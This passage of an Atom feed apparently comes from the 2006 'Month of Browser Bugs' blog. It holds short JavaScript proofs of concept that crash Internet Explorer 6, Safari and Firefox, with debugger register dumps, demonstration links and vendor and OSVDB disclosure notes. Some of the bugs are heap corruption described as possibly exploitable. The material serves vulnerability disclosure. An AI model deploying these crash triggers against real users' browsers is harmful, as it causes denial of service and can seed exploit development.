href='http://browserfun.blogspot.com/2006/07/mobb-12-trieditdocument-url.html' title='MoBB #12: TriEditDocument URL'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115259422616215016</id><published>2006-07-10T22:02:00.000-07:00</published><updated>2006-07-14T17:42:03.606-07:00</updated><title type='text'>MoBB #11: HtmlDlgSafeHelper fonts</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Setting the "fonts" property of this object triggers a NULL dereference.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('HtmlDlgSafeHelper.HtmlDlgSafeHelper');&lt;br /&gt;a.fonts = "Goodbye!";&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_011.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=76207320 ecx=02941584&lt;br /&gt;edx=762691dc esi=02941534 edi=0013b25c&lt;br /&gt;eip=762163fb esp=0013b1ec ebp=0013b260&lt;br /&gt;mshtmled!CHtmlDlgSafeHelper::get_Fonts+0x66:&lt;br /&gt;762163fb 8b08             mov     ecx,[eax]         ds:0023:00000000=????????&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft in March of 2006.&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27055"&gt;Microsoft IE HtmlDlgSafeHelper fonts Property NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115259422616215016?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115259422616215016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115259422616215016' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115259422616215016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115259422616215016'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-11-htmldlgsafehelper-fonts.html' title='MoBB #11: HtmlDlgSafeHelper fonts'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115251436120350942</id><published>2006-07-09T23:38:00.000-07:00</published><updated>2006-07-30T09:29:51.913-07:00</updated><title type='text'>MoBB #10: DXTFilter Enabled</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. By setting the 'Enabled' property of this control to a true value, we can trigger a NULL dereference.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('Object.Microsoft.DXTFilter');&lt;br /&gt;a.Enabled = 1;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_010.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=6bdd4728 ecx=00001008 &lt;br /&gt;edx=001bffff esi=02910488 edi=00000000&lt;br /&gt;eip=6bde8881 esp=0013b250 ebp=0013b258&lt;br /&gt;dxtrans!CDXTFilter::put_Enabled+0x75:&lt;br /&gt;6bde8881 8b08             mov     ecx,[eax]         ds:0023:00000000=????????&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft in March of 2006.&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27014"&gt;Microsoft IE Object.Microsoft.DXTFilter Enabled Property NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115251436120350942?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115251436120350942/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115251436120350942' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115251436120350942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115251436120350942'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-10-dxtfilter-enabled.html' title='MoBB #10: DXTFilter Enabled'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115242503422045367</id><published>2006-07-08T23:00:00.000-07:00</published><updated>2007-01-23T01:46:39.423-08:00</updated><title type='text'>MoBB #9: DirectAnimation.DAUserData Data</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. The "Data" property of the DAUserData object is designed to be accessed only after it has been initialized. We can trigger a NULL dereference by asking for it without calling the Init() method first.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('DirectAnimation.DAUserData');&lt;br /&gt;a.Data = 'Hello';&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_009.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=5a327320 ecx=00000000&lt;br /&gt;edx=0003b7c8 esi=00000000 edi=0003f1cc&lt;br /&gt;eip=5a3415b6 esp=0013b1a4 ebp=0013b1b4&lt;br /&gt;danim!CRUserDataImpl::GetData+0x5:&lt;br /&gt;5a3415b6 837e0800       cmp dword ptr [esi+0x8],0x0 ds:0023:00000008=????????&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft in March of 2006.&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27013"&gt;Microsoft IE DirectAnimation.DAUserData Data Property NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115242503422045367?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115242503422045367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115242503422045367' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115242503422045367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115242503422045367'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-9-directanimationdauserdata-data.html' title='MoBB #9: DirectAnimation.DAUserData Data'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115234159075291823</id><published>2006-07-07T23:41:00.000-07:00</published><updated>2007-01-31T07:22:16.910-08:00</updated><title type='text'>MoBB #8: RDS.DataControl URL</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows 2000 SP4 system. The RDS.DataControl object copies the URL parameter from javascript using the &lt;a href="http://windowssdk.msdn.microsoft.com/en-us/library/ms221639.aspx"&gt;SysAllocStringLen&lt;/a&gt; routine in OLE32.dll. On Windows 2000, this can lead to an invalid length calculation that results in a memory read going beyond the end of the page. It appears that some form of heap corruption may be occurring before the access violation, but without a SEH pointer on the heap, this isn't useful for exploitation. If you can find a way achieve code execution using this bug, please &lt;a href="http://www.digitaloffense.net"&gt;contact me&lt;/a&gt; for a prize :-)&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('RDS.DataControl');&lt;br /&gt;var b = "X";&lt;br /&gt;while (b.length &lt; (1024*256)) a.URL = (b+=b);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_008.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=001be00c ebx=00005a70 ecx=00000231&lt;br /&gt;edx=00005a70 esi=00191000 edi=001c31b8&lt;br /&gt;eip=779d927a esp=0012b1b4 ebp=7c59c147&lt;br /&gt;OLEAUT32!SysAllocStringLen+0x7a:&lt;br /&gt;779d927a f3a5            rep  movsd ds:00191000=???????? es:001c31b8=00580058&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft in March of 2006.&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/26955"&gt;Microsoft IE RDS.DataControl SysAllocStringLen Invalid Length&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115234159075291823?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115234159075291823/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115234159075291823' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115234159075291823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115234159075291823'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-8-rdsdatacontrol-url.html' title='MoBB #8: RDS.DataControl URL'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115224096657814351</id><published>2006-07-06T19:47:00.000-07:00</published><updated>2006-07-14T17:48:11.866-07:00</updated><title type='text'>MoBB #7: Table.Frameset</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system.  This bug was found by Aviv Raff using the &lt;a href="http://metasploit.com/users/hdm/tools/domhanoi/domhanoi.html"&gt;DOM-Hanoi&lt;/a&gt; fuzzer script. DOM-Hanoi works by building trees of every combination of elements up to the specifed depth. An alternate PoC could use plain HTML instead of  javascript.&lt;br /&gt;&lt;br /&gt;var a = document.createElement('table');&lt;br /&gt;var b = document.createElement('frameset');&lt;br /&gt;a.appendChild(b);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_007.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=01884710 ecx=01886c60&lt;br /&gt;edx=00000027 esi=0013aeb0 edi=01884730&lt;br /&gt;eip=7dc995ad esp=0013ae88 ebp=0013ae9c6&lt;br /&gt;mshtml!CTreePos::NextTreePos+0x23:&lt;br /&gt;7dc995ad f60010           test    byte ptr [eax],0x10     ds:0023:00000000=??&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft in March of 2006.&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/26837"&gt;Microsoft IE Frameset inside Table NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115224096657814351?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115224096657814351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115224096657814351' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115224096657814351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115224096657814351'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-7-tableframeset.html' title='MoBB #7: Table.Frameset'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115215958721993295</id><published>2006-07-05T21:05:00.000-07:00</published><updated>2006-07-14T17:49:51.993-07:00</updated><title type='text'>MoBB #6: StructuredGraphicsControl SourceURL</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system.  This bug appears to be triggered by a call to URLOpenBlockingStream() with a NULL pointer referenced by the ppStream argument. The only way I found to trigger this bug is by creating the object through the ActiveXObject interface -- using the standard object/classid syntax (as described &lt;a href="http://webdevelopersjournal.com/articles/directx/direct_animation_sgc.html"&gt;here&lt;/a&gt;) does not result in a crash. &lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('DirectAnimation.StructuredGraphicsControl');&lt;br /&gt;a.sourceURL = 'CrashingBecauseStreamPtrNotInitialized';&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_006.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=7726d35c ecx=02481f30&lt;br /&gt;edx=0013b1a4 esi=00000000 edi=00000000&lt;br /&gt;eip=772ba3bc esp=0013b18c ebp=0013b1b8&lt;br /&gt;urlmon!CBaseBSCB::KickOffDownload+0x7a:&lt;br /&gt;772ba3bc 8b08             mov     ecx,[eax]         ds:0023:00000000=????????&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft on March 6th, 2006.&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/26839"&gt;Microsoft IE DirectAnimation.StructuredGraphicsControl SourceURL NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115215958721993295?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115215958721993295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115215958721993295' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115215958721993295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115215958721993295'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-6-structuredgraphicscontrol.html' title='MoBB #6: StructuredGraphicsControl SourceURL'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115206731380286104</id><published>2006-07-04T19:30:00.000-07:00</published><updated>2006-07-07T13:39:42.786-07:00</updated><title type='text'>MoBB #5: DHTML setAttributeNode()</title><content type='html'>The following bug was tested on the latest version of Safari ( 2.0.4 / 419.3) on a fully-patched Mac OS X (10.4.7 - Build 8J135) system. This bug was discovered by Dennis Cox using a modified version of the Hamachi test. This bug does not trigger using the Konqueror KHTML/KJS engine included with KDE 3.5.1, even though these products share code.&lt;br /&gt;&lt;br /&gt;var a = document.createElement("a");&lt;br /&gt;a.setAttributeNode();&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_005.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Exception:  EXC_BAD_ACCESS (0x0001)&lt;br /&gt;Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x0000000c&lt;br /&gt;&lt;br /&gt;Thread 0 Crashed:&lt;br /&gt;0 com.apple.WebCore DOM::NamedAttrMapImpl::setNamedItem()&lt;br /&gt;1 com.apple.WebCore DOM::Element::setAttributeNodeNS()&lt;br /&gt;2 com.apple.WebCore DOM::Element::setAttributeNode()&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/26838"&gt;Apple Safari DHTML setAttributeNode() NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115206731380286104?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115206731380286104/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115206731380286104' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115206731380286104'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115206731380286104'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-5-dhtml-setattributenode.html' title='MoBB #5: DHTML setAttributeNode()'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115199523117179589</id><published>2006-07-03T23:30:00.000-07:00</published><updated>2006-07-19T14:35:53.800-07:00</updated><title type='text'>MoBB #4: Mozilla Firefox DesignMode</title><content type='html'>The following bug was tested on Mozilla Firefox 1.5.0.2 running on Gentoo Linux. This bug was fixed in Firefox 1.5.0.3, after three other people reported this issue to Mozilla. This bug results in a function pointer being called that no longer exists on the heap. Exploiting it is more annoying than difficult, since getting user-provided memory to map over the free'd object pointer is more convoluted than it should be.&lt;br /&gt;&lt;br /&gt;document.designMode = "on";&lt;br /&gt;for (i=0; i &lt; 300; i++) {&lt;br /&gt;    document.execCommand("InsertHTML", false, "&amp;lt;iframe src='localhost'/&amp;gt;");&lt;br /&gt;}&lt;br /&gt;document.designMode = "off";&lt;br /&gt;window.location.reload(true);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_004.html"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;EIP on Gentoo Linux / Firefox 1.5.0.1&lt;br /&gt;0x00737069 in ?? ()&lt;br /&gt;&lt;br /&gt;This bug was addressed in &lt;a href="http://www.mozilla.org/security/announce/2006/mfsa2006-30.html"&gt;MFSA2006-30&lt;/a&gt;.&lt;br /&gt;This bug has been added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/24967"&gt;Mozilla Firefox iframe.contentWindow.focus() Overflow&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115199523117179589?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115199523117179589/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115199523117179589' title='26 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115199523117179589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115199523117179589'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-4-mozilla-firefox-designmode.html' title='MoBB #4: Mozilla Firefox DesignMode'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>26</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115190809697529918</id><published>2006-07-02T23:27:00.000-07:00</published><updated>2006-07-07T13:36:24.193-07:00</updated><title type='text'>MoBB #3: OutlookExpress.AddressBook</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows 2000 SP4 system. It appears to have been resolved (via killbit) in a recent update to Window XP SP2. This bug is one of many that are triggered by loading a non-ActiveX COM object from inside Internet Explorer.&lt;br /&gt;&lt;br /&gt;a = new ActiveXControl('OutlookExpress.AddressBook');&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_003.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=06622008 ecx=00000002&lt;br /&gt;edx=065814e4 esi=00000000 edi=00000000&lt;br /&gt;eip=0648b2f5 esp=0012a734 ebp=0012a754&lt;br /&gt;msoe!IDwGetOption+0x78:&lt;br /&gt;0648b2f5 8b08             mov     ecx,[eax]         ds:0023:00000000=????????&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft on March 6th, 2006.&lt;br /&gt;This bug has been added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/26836"&gt;Microsoft IE OutlookExpress.AddressBook COM Object NULL Dereference&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115190809697529918?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115190809697529918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115190809697529918' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115190809697529918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115190809697529918'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-3-outlookexpressaddressbook_02.html' title='MoBB #3: OutlookExpress.AddressBook'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115185728440977411</id><published>2006-07-02T09:11:00.000-07:00</published><updated>2006-08-10T15:58:02.583-07:00</updated><title type='text'>MoBB #2: Internet.HHCtrl Image Property</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug is interesting because a small heap overflow occurs each time this property is set. The bug is difficult to detect unless heap verification has been enabled in the global debug flags for iexplore.exe. The demonstration below results in a possibly exploitable heap corruption after 128 or more iterations of the property set.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject("Internet.HHCtrl.1");&lt;br /&gt;var b = unescape("XXXX");&lt;br /&gt;while (b.length &lt; 256) b += b;&lt;br /&gt;&lt;br /&gt;for (var i=0; i&lt;4096; i++) {&lt;br /&gt;        a['Image'] = b + "";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_002.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00030288 ebx=00030000 ecx=7ffdd000&lt;br /&gt;edx=00030608 esi=58585850 edi=00000022&lt;br /&gt;eip=7c911f52 esp=0013afcc ebp=0013b1ec&lt;br /&gt;ntdll!RtlAllocateHeap+0x31b:&lt;br /&gt;7c911f52 8a4605           mov     al,[esi+0x5]            ds:0023:58585855=??&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft on March 6th, 2006.&lt;br /&gt;This bug has been added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/26835"&gt;Microsoft IE HTML Help COM Object Image Property Heap Overflow&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115185728440977411?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115185728440977411/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115185728440977411' title='38 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115185728440977411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115185728440977411'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-2-internethhctrl-image-property.html' title='MoBB #2: Internet.HHCtrl Image Property'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>38</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115185618704781584</id><published>2006-07-02T08:47:00.000-07:00</published><updated>2006-07-14T17:55:46.500-07:00</updated><title type='text'>MoBB #1: ADODB.Recordset Filter Property</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. The interesting thing about this bug is how the same property has to be set three different times to trigger the exception.&lt;br /&gt;&lt;br /&gt;a = new ActiveXObject('ADODB.Recordset');&lt;br /&gt;try { a.Filter = "AAAA" } catch(e) { }&lt;br /&gt;try { a.Filter = "AAAA" } catch(e) { }&lt;br /&gt;try { a.Filter = 0x7ffffffe; } catch(e) { }&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_001.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=001dbfdc ebx=02820e18 ecx=02821288&lt;br /&gt;edx=028212a8 esi=02821288 edi=00000000&lt;br /&gt;eip=4de194f7 esp=0013ade8 ebp=0013adf0&lt;br /&gt;msado15!CSysString::operator=+0x12:&lt;br /&gt;4de194f7 3907             cmp     [edi],eax         ds:0023:00000000=????????&lt;br /&gt;&lt;br /&gt;This bug was reported to Microsoft on March 6th, 2006.&lt;br /&gt;This bug has been added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/26834"&gt;Microsoft IE ADODB.Recordset COM Object Filter Property NULL Dereference&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115185618704781584?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115185618704781584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115185618704781584' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115185618704781584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115185618704781584'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-1-adodbrecordset-filter-property.html' title='MoBB #1: ADODB.Recordset Filter Property'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115185478019755799</id><published>2006-07-02T08:36:00.000-07:00</published><updated>2007-02-06T02:05:38.766-08:00</updated><title type='text'>Welcome to the Browser Fun Blog!</title><content type='html'>This blog will serve as a dumping ground for browser-based security research and vulnerability disclosure.  To kick off this blog, we are announcing the Month of Browser Bugs (MoBB), where we will publish a new browser hack, every day, for the entire month of July. The hacks we publish are carefully chosen to demonstrate a concept without disclosing a direct path to remote code execution. Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115185478019755799?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115185478019755799/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115185478019755799' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115185478019755799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115185478019755799'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/welcome-to-browser-fun-blog.html' title='Welcome to the Browser Fun 